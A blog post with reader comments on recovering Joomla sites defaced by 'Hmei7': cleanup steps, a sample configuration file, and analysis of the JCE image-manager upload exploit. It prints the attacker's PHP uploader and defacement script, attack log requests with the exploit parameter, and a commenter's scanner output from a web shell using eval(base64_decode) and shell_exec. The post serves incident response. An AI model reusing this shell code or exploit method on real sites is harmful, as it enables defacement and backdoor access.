How to fix “hacked by Hmei7” on Joomla web site

I received a call from a past client yesterday. Apparently their web site had been hacked and the simple text "hacked by Hmei7" replaced their home page. This was a shock to them, but it was even more of a shock to their customers. Luckily, for my client, and myself, this is an easy fix. Let's get down to business to get your site back up. More thoughts after the fix.

hacked by Hmei7

hacked by Hmei7

The fix

Eight files are potentially affected by this attack:

  1. /images/stories/susu.php
  2. /images/x.txt
  3. /tmp/x.txt
  4. /.htaccess
  5. /configuration.php
  6. /index.php
  7. /index.htm
  8. /index.html

Not all files will be affected on every site and there may be more files affected than the seven in this list. Only those files and directories with write permission will be changed by the hacker's script.

To fix the hack and restore your web site:

  1. Remove the files susu.php and x.txt.
  2. Check the configuration.php and index.php files to see if they have been changed by the hacker.
  3. If configuration.php or index.php has been changed, delete them.
  4. If index.htm or index.html exist, delete them.
  5. If your configuration.php file was changed by the hacker, restore the file from a backup or from scratch if needed.
  6. If your index.php or .htaccess file was changed, restore the file from a backup.

Other suspected files to look out for. Remove these files if found.

  • 000-aaz.gif
  • 0day.php
  • c99.php
  • config.root
  • css.php
  • en-gt.php
  • index.old.php
  • lib.php
  • maroc.php
  • r57.php
  • rc.php
  • story.php
  • tar.tmp
  • toy.php
  • web1.php
  • wh.php
  • Wos.php
  • xxu.php
  • xxx.php
  • zzzzx.php

If you don't have a backup of your configuration.php file, here is a sample file. Create the configuration.php file and put this text into the file. The configuration.php file should be located in the root directory of your site.


class JConfig {
	var $offline = '0';
	var $editor = 'tinymce';
	var $list_limit = '20';
	var $helpurl = '';
	var $debug = '0';
	var $debug_lang = '0';
	var $sef = '1';
	var $sef_rewrite = '0';
	var $sef_suffix = '0';
	var $feed_limit = '10';
	var $feed_email = 'author';
	var $secret = 'xxxxxxxxxxxxxxxx';
	var $gzip = '0';
	var $error_reporting = '-1';
	var $xmlrpc_server = '0';
	var $log_path = '/var/www/logs';
	var $tmp_path = '/var/www/tmp';
	var $live_site = '';
	var $force_ssl = '0';
	var $offset = '-7';
	var $caching = '0';
	var $cachetime = '15';
	var $cache_handler = 'file';
	var $memcache_settings = array();
	var $ftp_enable = '0';
	var $ftp_host = '';
	var $ftp_port = '21';
	var $ftp_user = '';
	var $ftp_pass = '';
	var $ftp_root = '';
	var $dbtype = 'mysqli';
	var $host = 'localhost';
	var $user = 'dbuser';
	var $db = 'dbname';
	var $dbprefix = 'jos_';
	var $mailer = 'smtp';
	var $mailfrom = '';
	var $fromname = 'Noreply Name';
	var $sendmail = '/usr/sbin/sendmail';
	var $smtpauth = '0';
	var $smtpsecure = 'none';
	var $smtpport = '25';
	var $smtpuser = '';
	var $smtppass = '';
	var $smtphost = '';
	var $MetaAuthor = '1';
	var $MetaTitle = '1';
	var $lifetime = '15';
	var $session_handler = 'database';
	var $password = 'dbpassword';
	var $sitename = 'Sitename';
	var $MetaDesc = 'Joomla! - the dynamic portal engine and content management system';
	var $MetaKeys = '';
	var $offline_message = 'This site is down for maintenance. Please check back again soon.';

Configure these vars to get your site back up and running:

  • $secret – change to a random string of uppercase and lowercase letters and numbers.
  • $log_path – path to log directory.
  • $tmp_path – path to tmp directory
  • $user – database username.
  • $db – database name.
  • $password – database password.

Configuring these six vars is enough to get the the site working. The rest of the configuration.php file can be filled out manually, or it can be configured more easily through the admin area. If you want to use the admin area, be sure to chmod 777 the configuration.php file. It might be a good idea to chmod 644 the configuration.php file once finished configuring the site. This will prevent any unwanted changes in the future.

This should get your web site back into operation. Please continue reading as there is important information for completely removing any lingering files from the hacker and preventing a successful attack in the future.

Check for additional hacker files

It is possible that the hacker changed or created other files on the server that were not mentioned in this article. It would be a good idea to search the web site files for any other changed files as a result of the attack.

An FTP browser or an SSH shell can be used to find any files that were recently changed. If you have SSH access, the following command can help find any files that have been changed:

find . -mtime -2 -type f

Run this command in the root directory of your site. This will find any files that have been changed in the last 2 days. If you only have FTP access, an FTP browser can be used to browse the files and check the date the web site's files and folders were last changed. Most files in a web site are not changed very often. Look for any files that have been recently changed, or changed within the time frame of the attack.

Since the web site has been compromised, all users of the hacked site should change their passwords immediately. I highly doubt Hmei7 stole passwords from the web sites that were hacked in this manner, or even yet would return to a previously hacked site with that information (even more so if the site is small). In any case, since the site was hacked, the passwords should be changed as a precaution.

Content of the hacker files


if ( isset($_GET['versi']) )

if ( isset($_GET['indonesia']) )
	echo "silahkan masuk\n\n";
	echo '<b>Indonesian people is here..<br><br>'.''.'<br></b>';
	echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
	echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
	if( $_POST['_upl'] == "Upload" ) {
		if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }
		else { echo '<b>Upload Gagal !!!</b><br><br>'; }

if ( isset($_GET['yaiyalah']) )
	$tmp=strrev('7iemH yb dekcah');
	$nnn=$nnn-1; //jml aktual fold

	chdir('..');chdir('..');tulisi($nama,$tmp); //tulis now

	if ($nnn>0)
		for ( $counter = 1; $counter <= $nnn; $counter += 1)
			tulisi($nama,$tmp); //menulis di ujung

	echo $tmp;
	echo '[jeneng]';
	echo '[/jeneng]';

echo 'cari siapa ya?..';exit;
echo 'Hmei7';

function letaksekarang() {
 $pageURL = 'http';
 if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
 } else {
 $pageURL=str_replace("/".basename(__FILE__), "", $pageURL);
 return $pageURL;

function left($string,$chars)
    $vright = substr(strrev($string), strlen($string)-$chars,$chars);
    return strrev($vright);

function vers()
	eval(strrev(";)(emanu_php ohce"));
	echo ' ===> '.getcwd();
	echo ' ===> '.letaksekarang();

function tulisi($nama,$tmp)
	if (is_writable(getcwd()))	
		$fff = fopen($nama, 'w');
		fwrite($fff, $tmp);
		$fff = fopen('configuration.php', 'w');
		fwrite($fff, $tmp.'<?php exit;?>');

		$fff = fopen('index.php', 'w');
		fwrite($fff, $tmp.'<?php exit;?>');

		$fff = fopen('index.htm', 'w');
		fwrite($fff, $tmp.'<?php exit;?>');

		$fff = fopen('index.html', 'w');
		fwrite($fff, $tmp.'<?php exit;?>');

	$fff = fopen('./tmp/'.$nama, 'w');
	fwrite($fff, $tmp);

	$fff = fopen('./images/'.$nama, 'w');
	fwrite($fff, $tmp);



hacked by Hmei7


hacked by Hmei7<?php exit;?>

Analysis and prevention

Thank you to OrChavex for finding the log entries of this attack in his web server log. These are the attack log entries from my client's server: - - [03/Jan/2013:01:35:19 -0700] "GET /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 200 23168 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" - - [03/Jan/2013:01:35:22 -0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.0" 200 69 "-" "BOT/0.1 (indonesian defacer)" - - [03/Jan/2013:01:35:23 -0700] "GET /images/stories/susu.gif HTTP/1.1" 200 2722 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" - - [03/Jan/2013:01:35:24 -0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0" 200 36 "-" "BOT/0.1 (indonesian defacer)" - - [03/Jan/2013:01:35:25 -0700] "GET /images/stories/susu.php?yaiyalah HTTP/1.1" 200 204 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" - - [03/Jan/2013:01:35:25 -0700] "GET /x.txt HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" - - [03/Jan/2013:01:35:26 -0700] "GET / HTTP/1.1" 200 15 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"

Thank you to Drew for finding more log entries of this attack. These are the log entries of the attacker trying to access his script again: - - [05/Jan/2013:02:08:32 -0700] "GET /images/stories/susu.php?indonesia HTTP/1.1" 404 302 "-" "Mozilla/5.0" - - [05/Jan/2013:06:52:03 -0700] "GET /images/stories/xxx.php HTTP/1.1" 404 301 "-" "Mozilla/5.0" - - [05/Jan/2013:06:52:04 -0700] "GET /images/stories/xxu.php HTTP/1.1" 404 301 "-" "Mozilla/5.0" - - [05/Jan/2013:06:52:05 -0700] "GET /images/stories/0day.php HTTP/1.1" 404 302 "-" "Mozilla/5.0" - - [05/Jan/2013:16:42:59 -0700] "GET /images/stories/story.php?p1=phpinfo(); HTTP/1.1" 404 303 "-" "Mozilla/5.0" - - [05/Jan/2013:16:42:59 -0700] "GET /images/stories/0day.php HTTP/1.1" 404 302 "-" "Mozilla/5.0" - - [06/Jan/2013:01:01:06 -0700] "GET /images/stories/maroc.php?oujda-maroc=1 HTTP/1.1" 404 303 "-" "Mozilla/5.0" - - [06/Jan/2013:01:01:07 -0700] "GET /images/stories/web1.php HTTP/1.1" 404 302 "-" "Mozilla/5.0" - - [06/Jan/2013:01:01:07 -0700] "GET /images/stories/Wos.php HTTP/1.1" 404 301 "-" "Mozilla/5.0" - - [06/Jan/2013:01:01:08 -0700] "GET /images/stories/c99.php HTTP/1.1" 404 301 "-" "Mozilla/5.0" - - [06/Jan/2013:01:01:09 -0700] "GET /images/stories/r57.php HTTP/1.1" 404 301 "-" "Mozilla/5.0"

There are six things to note about this attempted script access (the second set of logs):

  1. These log entries show that he attempted to access his script two and three days after the original attack. This is unexpected of him to access his script so long after the original attack. On the other hand, Hmei7 probably would not have expected a victim to analyze his attack this thoroughly.
  2. The first file name attempted to be accessed is susu.php. This could mean that he is keeping a record of his attacks, which would allow him to return to previously hacked servers and access them if those servers have not been cleaned. If this is the case, we could ask the question whether his subsequent file access attempts are due to the hacker being unable to access the first previously known name (e.g. he was unable to access susu.php, the file name he knew he had previously used, but can't access the file so he tries other names). This could be a coincidence.
  3. He uses the word "indonesia" in the URL he is accessing. After looking at the script, it is clear that using the indonesia query with the script would show an upload form. This would allow the hacker to upload files to the server, as long as the original script is on the server.
  4. Several of the names of the PHP files he is trying to access coincide with hacker scripts (c99, r57, 0day). It's unclear why he would try to access these additional file names. He could have used these names for some of his scripts, or he could be fishing for possible available scripts.
  5. Drew and I both have similar IP addresses in our scripts. More on this later.
  6. Every attempt returns an HTTP 404 error, which means that the file he's trying to access is not on the server. This is expected since I removed the hacker's files the same day of the attack.

These log entries show that the attacker uses a flaw in the Image Manager plugin (imgmanager) from the JCE component (com_jce) to upload his script. His script is first uploaded with the name susu.gif as imgmanager will not allow a PHP file to be uploaded. Also notice that he gets around the MIME security check by having "GIF89;" at the beginning of the file. Once the script is uploaded, he changes the name of the file to susu.php so he can run the script. I took a closer look at the script to determine exactly what happens when he runs the script. He runs the script "/images/stories/susu.php?yaiyalah" which does his dirty work of creating x.txt in the tmp and images directories, changing the configuration.php and index.php files, and creating the index.htm and index.html files. If the files do not have write permission they will not be changed. Likewise, if a directory does not have write permission, a new file will not be created. These changes make it so that the site will only display "hacked by Hmei7" on every page.

As you can see from my log entries and the log entries of OrChavex and Drew in the comments below, the IP addresses of the attacker were for the first access and for the second access. Both IP addresses from the first access start with 114.79, and after some research found that they were both from the ISP Smartfren. Smartfren is an Indonesian wireless telecommunications company that provides cell phone and wireless internet services. I was surprised to find that both IP addresses were so similar. He could be using this internet connection directly or he could be using is connection as a proxy to mask his true IP address. Since he is using Smartfren, he could be using a cell phone to provide internet, or a wireless modem/router that the company offers.

Similarly, both IP addresses from the second access start with 95. This is a wider IP range, but both of the 95. IP addresses are from the ISP Turk Telecom. This raises the question of what the link is between Indonesia and Turkey, if there is a link at all. It is doubtful that he physically travels to Turkey, since he is from Indonesia and most likely lives there. This also raises the questions why and how he uses an IP address in Turkey. He could be using a proxy based in Turkey, or he could have friends, family, or contacts in Turkey. If he is has contacts in Turkey, those contacts could have a proxy set up for him, or they could be helping him with his attacks.

Now that we know what exploit he is using, how his script takes control of the web site being attacked, and we know at least two of the IP address he used to attack, we can help safeguard future attacks. He attacks other web site scripts such as WordPress also, and he could be using a different exploit other than the JCE/imgmanager exploit for those sites. Also, his script could easily be manipulated to take advantage of a different exploit if this exploit were no longer available.

There are four things we can do to help prevent a future attack:

  1. Update to the latest JCE version or remove the old version that includes the exploit. The latest JCE version no longer includes this exploit (version 2.3.1 as of this writing).
  2. Update all extensions to the latest version.
  3. Only give write permission to those directories and files that are necessary for the site to function properly. Do not give write permission to the configuration.php file.
  4. Block the IP addresses in the range and range. I checked and and both are used by companies other than Smartfren. Smartfren most likely only uses addresses. Checking and shows that they are both used by Turk Telecom. This means that Turk Telecom has a huge number of IP addresses in the 95. range. There are others in the 95. range other than Turk Telecom, but most if not all of them are in Turkey. It is up to you whether or not to block these IP addresses.

    If you would like to block these IP addresses, add this code to your httpd.conf file:

    <Location /*>
    Deny from 114.79
    Deny from 95

    This will block all IP addresses from Smartfren and Turk Telecom.

    Apache must be restarted for this to take affect. To restart Apache:

               service httpd restart

There are more steps that can be taken to secure a web site and server, but that will have to be for another article.


Although Hmei7 could cause MUCH more damage if he wanted, he still has done considerable damage by taking complete web sites offline. Especially for those smaller web site owners that must hire someone to restore their site. The owners of these sites also lose functionality of their site during the time it was down. If the site is used to make money this down time could cost money, as everyone knows, time is money. Also taking into consideration the sheer number of sites he has defaced (he has defaced hundreds of thousands), he has caused an extremely high amount of damage. Hopefully this article will help those people, and anyone else, to get their site back online.

Learning from this experience, it would be a good practice to only allow write permissions to the files and directories that are absolutely necessary (e.g. the /tmp directory requires write permission for a Joomla site to function properly).

Be sure to make full backups of your web site files and databases in case of any potential catastrophe! It's always better to be safe than sorry.

Thank you Gosa, Miguel, and OrChavex for their helpful comments and contributions.

181 thoughts on “How to fix “hacked by Hmei7” on Joomla web site

  1. Pingback: Joomla Site Hacked – Resources – Designparc

  2. Pascal

    Nice article! It covers the main aspects dealing with this kind of infection. Helped me a lot cleaning the first hmei7 pwned site I came across last year.

  3. x-bit

    Thanks a lot for this information!
    Joomla! version: 2.5.17
    PHP version: 5.3.26
    MySQL version: 5
    I have to report that as per yesterday (all previous backups are clean) a file named “d.txt” appeared in the root of the site.
    The content was:

    hacked by Hmei7 and d3b~X

    Our Hoster took the site off-line and we started to scan the site for the above mentioned files. It seems the malware did not spread until now, we did not found any truncated index.php or other malicious code. As well the susu.php (susu.gif) was not found!

    We are analyzing the logs, trying to understand how they managed to attack the site.
    I will be happy to report back as soon as we have some more insights.

    My JCE and all related add-ons are fully up to date so I assume that they found another vector to attack. I will

    1. Josh Post author

      Thank you for sharing your experience. Yes please report back if you find out more. It might help Diana or others.


      1. x-bit

        unfortunately our logs do not show anything strange, until the d.txt has been accessed from outside.
        I found the following lines in access log:

        Line 96093: - - [02/Feb/2014:16:06:46 +0100] "GET /d.txt?jampiro=140202-150110 HTTP/1.1" 200 273 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20100824 Firefox/3.6.9"
        	Line 96160: - - [02/Feb/2014:16:07:20 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)"
        	Line 97624: - - [02/Feb/2014:16:11:16 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Python-urllib/2.6"
        	Line 99450: 2a01:4f8:192:3415::2 - - [02/Feb/2014:16:17:23 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
        	Line 99451: 2a01:4f8:192:3415::2 - - [02/Feb/2014:16:17:23 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.0.2+Phantomjs/1.9.2 Safari/534.34"
        	Line 99452: 2a01:4f8:192:3415::2 - - [02/Feb/2014:16:17:23 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.0.2+Phantomjs/1.9.2 Safari/534.34"
        	Line 99581: 2a01:4f8:192:3415::2 - - [02/Feb/2014:16:17:32 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17"
        	Line 99586: 2a01:4f8:192:3415::2 - - [02/Feb/2014:16:17:33 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.0.2+Phantomjs/1.9.2 Safari/534.34"
        	Line 99587: 2a01:4f8:192:3415::2 - - [02/Feb/2014:16:17:33 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.0.2+Phantomjs/1.9.2 Safari/534.34"
        	Line 100804: - - [02/Feb/2014:16:19:28 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTB6"
        	Line 101028: - - [02/Feb/2014:16:20:37 +0100] "HEAD /d.txt HTTP/1.0" 200 246 "-" "Wget/1.12 (linux-gnu)"
        	Line 101720: - - [02/Feb/2014:16:24:19 +0100] "GET /d.txt] HTTP/1.1" 404 1636 "-" "Mozilla/5.0 (compatible; IstellaBot/1.10.2 +"
        	Line 101733: - - [02/Feb/2014:16:24:24 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (compatible; IstellaBot/1.10.2 +"
        	Line 101763: - - [02/Feb/2014:16:24:42 +0100] "HEAD /d.txt HTTP/1.0" 200 246 "-" "WordPress/3.8.1;"
        	Line 101766: - - [02/Feb/2014:16:24:43 +0100] "GET /d.txt HTTP/1.0" 200 271 "-" "WordPress/3.8.1;"
        	Line 102049: - - [02/Feb/2014:16:25:53 +0100] "HEAD /d.txt HTTP/1.0" 200 246 "-" "WordPress/3.8.1;"
        	Line 104704: - - [02/Feb/2014:16:36:00 +0100] "GET /d.txt HTTP/1.0" 200 271 "-" "Mozilla/5.0 (compatible; en-US)"
        	Line 108944: - - [02/Feb/2014:16:51:29 +0100] "GET /d.txt HTTP/1.1" 200 271 "-" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.2a1pre) Gecko Minefield/3.6a1pre"

        Those access had been made about 4 hours after creation of the d.txt.

        As well the ftp logs do not show any unauthorized access.

        The only way I see at the moment is a breach in Joomsocial (using Version 2.6.2) which is outdated. All the remaining components are up to date.

        It seems we may not pinpoint the problem and we are now downloading the whole site to a local server. We like to investigate the script (i.e. susu.php) which we did not find until now. This would be helpful to understand how they broke in.

        We will report after that.

          1. Bruce

            Thanks x-bit – this issue with Jomsocial seems to be where a customer was getting hacked as well! Patching this has fixed the problem so far.


  4. Diana


    I got an abuse alert that from my hosting company that pointed to a file called 7x.txt with the same message Hacked by Hmei7. I removed the file and I search for any other files that look weird or todays date. Nothing is coming up thankfully.

    My concern is how he got in because I do not have JCE installed and keep all my extensions up to date. We are running J2.5.16. Anyone have an idea about how he got in?

    Thank you for your help,

    1. Diana

      The txt file showed up again this morning named dx.txt and with hmei7 there is another name too.
      There appears to be an error_log file that is a mp3 file, should those be removed?

      1. Josh Post author

        Hi Diana,

        The attacker might have hacked your site before yesterday. It might be good to search for files slightly older than yesterday, searching as far back as possible but that would be newer than the oldest legitimate files on the server.

        If the file is “error_log.mp3” then it can probably be removed. There was an exploit in Joomla that allows an attacker to upload files with certain file extensions, mp3 being one of them if I remember correctly. You can try viewing the error_log.mp3 file in a text editor to see if it has any code from the attacker. If it looks like PHP code it is probably from the attacker, which is most likely the case.

        Searching the Apache log files for the text “dx.txt” is a good start to find out how your site was hacked. If you find it, the log entry should give some information that would point to how he hacked the site. Also note his IP address(s) and look for those IP addresse(s) in the logs for other actions he might have taken. You might need to change the permissions for the folder(s) that the attacker uploaded his files to. There may also be an exploit in Joomla that was previously unknown, or just hasn’t been fixed yet.

        It looks like the latest Joomla version is 3.2, so Joomla 2.5 probably isn’t getting many security updates as the developers will focus on 3.2.

        I’m limited on time right now, but this should be a good start.


  5. MAANet


    when anyone need help for a hacked Joomla Site. It´s my job to bring the site fast back to life! On my Webpage theres a little guide about Joomla Security and fixing those hacked Websites.

    greets MAANet

  6. jonny

    Hey peeps.
    I was hacked by this idiot too so i did an webspace restore, which is offered by my webhost.
    Then the webhost restored my databases too and i put the configuration file and the other important files, which i saved on my HDD.
    Well then I removed the JCE Editor from my system.
    Now I would like to ask, if im out of the danger area?
    best regards,

    1. Josh Post author

      In this regard you should be ok. I would recommend checking your other plugins for security issues. Also, more exploits have surfaced with older version of Joomla which can leave your site vulnerable.


    2. Frenky

      i’m sorry to say this but hmei7 is haxor,if he want he able to crack your site with so easy.
      he was famous hacker,already hack IBM site and hack 5000 site only in 2 days.

  7. Adam

    Thank you for such an informative thread – and a big thank you also to everyone contributing. It’s quite depressing, dealing with these hooligans/criminals, but quite inspiring to see so many *good* people helping out.

  8. Qyuichi

    I’m a webhoster n domain seller from Indonesia and also a web developer using joomla n wordpress most of the time. For many cases since 2011 my main hosting website has been attacked by this Hmei7, which is i strongly believe Hmei7 is one person from my country. He/she never succeed to hack my hosting website based on joomla 1.5.x coz i’m using several security plugins (and all is free) to secure my website. Yes this Hmei7 used mobile internet carrier (smartfren cdma is correct) to try to hack my website and sometime using landline broadband ip address from PT.TELKOM in indonesia (the biggest isp in my country) which i believed he used internet cafe to attack my website and i got Hmei7 also using Turkey ip address and some other middle east, spain and ukrainan ip address after several time i trace it. In 2012 i trace Hmei7 using other private company isp from Jakarta indonesia and i called the isp company and ask info for the ip i had trace and i got an internet cafe in west jakarta province.

    I used 644 for configuration.php file in joomla cms. and 600 for wordpress based cms.

    in my personal opinion this Hmei7 is a person from java island Indonesia. but i am not so sure if in any action Hmei7 is asking his/her friends outside indonesia, i guess Hmei7 just one person only.

    1. Josh Post author

      Thank you for sharing what you know about Hmei7. This adds more pieces to the puzzle. It’s good to get a perspective from someone in Indonesia. Would you mind sharing what security plugins you use?

  9. Daniel C

    Hi, My site keeps getting hacked by my old web developer. Every time I upload the administrator.php file via ftp the site works again. What can I do to stop my site being hacked? Can you help?

  10. Dark Spencer

    Hi everyone,
    I’m a web designer who manages a large number of Joomla websites. Since the beginning of 2013 I’ve had 21 of my clients websites hacked, most of witch where by Hmie7. During these attacks I’ve recorded a great deal of information regarding their patterns and types of attacks. Every time a website was hacked I would download a copy of each file that had been hacked so I could analyse what has happened.
    This is what I have learnt
    1. Hmie7 is not a person! It is a group of hackers associated with the Sejeal movement. A group of people from the Middle East who are at war with Israelis. You may have come across an image file on your server called jejeal.jpg. This image is actual a tribute to Mariam Farhat, aka “the mother of martyrs” who died not long ago.

    Some of the known hackers of Hmie7 are NinjaVirus, misafir, EnDLeSs, No\One, HighTech Brazil HackTeam, and ulow

    2. This group of hackers work in patterns or waves. Each wave of hacks will come in groups. Hmie7 will develop a virus, spread it, wait for people to recover from the attack, and then release a new virus. So far I have encountered about 4-5 waves of attack. the 1st few waves where more or less testing the waters (minimal damage and easily fixed by deleting the hacked files and replacing with a backup). The last two waves have been the worst.

    In the 3rd wave of hacks the website would be hit with a redirect script that would activate after been on a web page for 30 seconds. This attack would be found in the form of base64 code in a few php files.

    During the 4th wave of hacks the virus would enter the system and then proceed to use up all available cpu usage and force the hosting company to freeze the account. Given how many hosting companies work it would take a good 24-48 hours before the server would come back online. During this time you would have no website, control panel, and emails if you were running any part of the emails through the website.

    The most current wave of attacks can only be classed as a cancer. In this attack the virus would get deposited about 3-6 rouge php files throughout your website. These files would then create another virus within the server that would go on to spread and implant a base64 code into every single php file on your website given enough time. I had one website that had 1486 individual php files infected with this code! This makes it very hard to remove.

    3. Another thing I have learnt from their hacks is that they like to use time delayed viruses. All of their infections would sit in the background before taking effect. A few of my clients have informed me at the very moment that the attack has happened but after using a telnet connection to assess the situation I found that some of the files had been on the server for more than 30 days. If you can find the virus before it strikes you will be ok. I recommend using a telnet connection and running a script that shows you what files have been modified over a given time period.

    4. Apart from their calling card, all of the Hmie7 attacks have been done using base64 in one way or another. I found that searching files for “base64” in Dreamweaver will bring up nearly every infected file.

    5. As I mentioned earlier Hmie7 attack in waves, I have recently noticed as the hacks get stronger, the number of websites been hacked is starting to drop. I’m not sure what this means but I wouldn’t let your guard done.

    I know this isn’t much to go one but I know for a fact that these guys can be beaten but you need to keep on top of your websites and check them regularly.

    Good luck everyone.

  11. Pingback: Dealing with Hacked Websites | The Design Mission

  12. Marcus

    Hi there,

    Nice post, but you give this hmei7 script kid way to much credit. He/she/it did nothing more than using a published exploit for JCE. This post is great for cleaning the site, but it does not fix the exploit. Fix that here: This exploit has been patched for quite a while now, but site admins seem too lazy to keep their shizzle up to date.

    If you want to know what to look for in your access log, send me an e-mail.

    Kind regards,


    1. Marcus

      Ok, it seems like you have the winning grep already. As soon as you can find the string below in your access logs, you know you have been a victim of the JCE exploit:

      Just do a grep for “20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743”. The user agent will most likely contain “BOT”. This is shown in the ‘Analysis and prevention’ part of this post.

    2. Josh Post author

      Thank you for your comment Marcus. The article shows how to fix the exploit near the end of the “Analysis and prevention” section by recommending updating or removing the old JCE version.


  13. ahxi

    Hi Josh, may I know if you are available to solve the Hmei7 problem at my joomla site? and how much do you charge for the service pls? much help is needed and will be appreciated.. hope to hear from you soon! I am contactable at my email add.. thanks again!

  14. kakina

    Take care blocking Ip-adresses starting with 95, you also block ISP’s in The Netherlands!

      1. Bruce

        I also found this line in a lot of .php files. It was right at the end of contents of each file before the last tag

      2. Bruce

        How do you comment out code here? the php line I’m trying to enter keeps getting removed.

        1. Josh Post author

          This site uses SyntaxHighlighter Evolved for code snippets. You can use [ plain ] [ / plain ] (without the spaces) to include code.

          [ plain ]
          *enter code here*
          [ / plain ]

  15. Bruce

    Thanks for all the helpful info. I was hacked a while back and have deleted the files mentioned here on numerous occasions but the hacker keeps coming back after a few weeks and adding files again.
    I ran the script from and found the file below. It looks like some kind of injection script. I’ve renamed it to see if it stops him coming back in.

    2013-03-27 07:05:11 /home/lifestyl/public_html/templates/system/online.php

    Regex (1 of 1): /passthru\s*\(/i: passthru($in); $out = ob_get_clean(); } elseif (function_exists(‘system’)) { ob_

    Regex (1 of 1): /shell_exec\s*\(/i: shell_exec($in); } elseif (is_resource($f = @popen($in,”r”))) { $out = “”; while

    Regex (1 of 5): /(eval\s*\(.{0,40})?base64_decode\s*\(/i: base64_decode(urldecode($_REQUEST[‘exec’]))); break; case ‘eval’: eval(base64_de
    Regex (2 of 5): /(eval\s*\(.{0,40})?base64_decode\s*\(/i: eval(base64_decode(urldecode($_REQUEST[‘eval’]))); break; case ‘inject’: echo ”
    Regex (3 of 5): /(eval\s*\(.{0,40})?base64_decode\s*\(/i: base64_decode(urldecode($_REQUEST[‘injection’])); } echo ” [s][-] Injection: “.$
    Regex (4 of 5): /(eval\s*\(.{0,40})?base64_decode\s*\(/i: base64_decode(urldecode($_REQUEST[‘content’])); if(!$output){ die(” [s][!] Error
    Regex (5 of 5): /(eval\s*\(.{0,40})?base64_decode\s*\(/i: base64_decode($_REQUEST[‘content’]); echo $output.”\n”; if(!$output){ die(” [s][

    Regex (1 of 1): /system\s*\(/i: system($in); $out = ob_get_clean(); } elseif (function_exists(‘shell_exec’)) { $

    1. Josh Post author

      Thank you so much for sharing this information. I used this script for another hacked site and it worked wonderfully.


  16. WebbyUK

    Thanks for great info. Was initally hacked by this guy few days ago but his defacement didn’t appear until a few hours ago. Now back up and running after 30 mins 🙂

    For others, my log shows the initial exploit via JCE (was using v 1.5.4).

    “GET /components/com_jce/css/popup.css HTTP/1.1” 200 386 “-” “libwww-perl/5.836”
    “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1” 200 36 “-” “libwww-perl/5.836”
    “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1” 200 36 “-” “libwww-perl/5.836”
    “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1” 200 70 “-” “libwww-perl/5.836”
    “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1” 200 36 “-” “libwww-perl/5.836”
    “GET /tmp/php.class.php HTTP/1.1” 200 34 “-” “libwww-perl/5.836”

    The following files were then modified and now replaced or removed.


    The header in the x.htm file says ..

    owned by Hmei7
    4ever only mail, n1cedre4m[at]yahoo[dot]com
    no fb, no tweet, and also no other
    2006 - now, indonesia
    hacked by Hmei7
  17. MarinaBlue

    Thanx a lot for all these info, which helped me restore a client’s hacked site (few days sago). However, there is another problem: the entire (huge) Stories folder has disappeared. According to the client, it disappeared exactly after the site was hacked. I will restore the stories folder with the backup, but I wonder how this could have happened? I have read many comments about Hmei7 but nobody mentioned deleted files/folders.

  18. JPMG

    I’ve find this base 64 encode in some files:
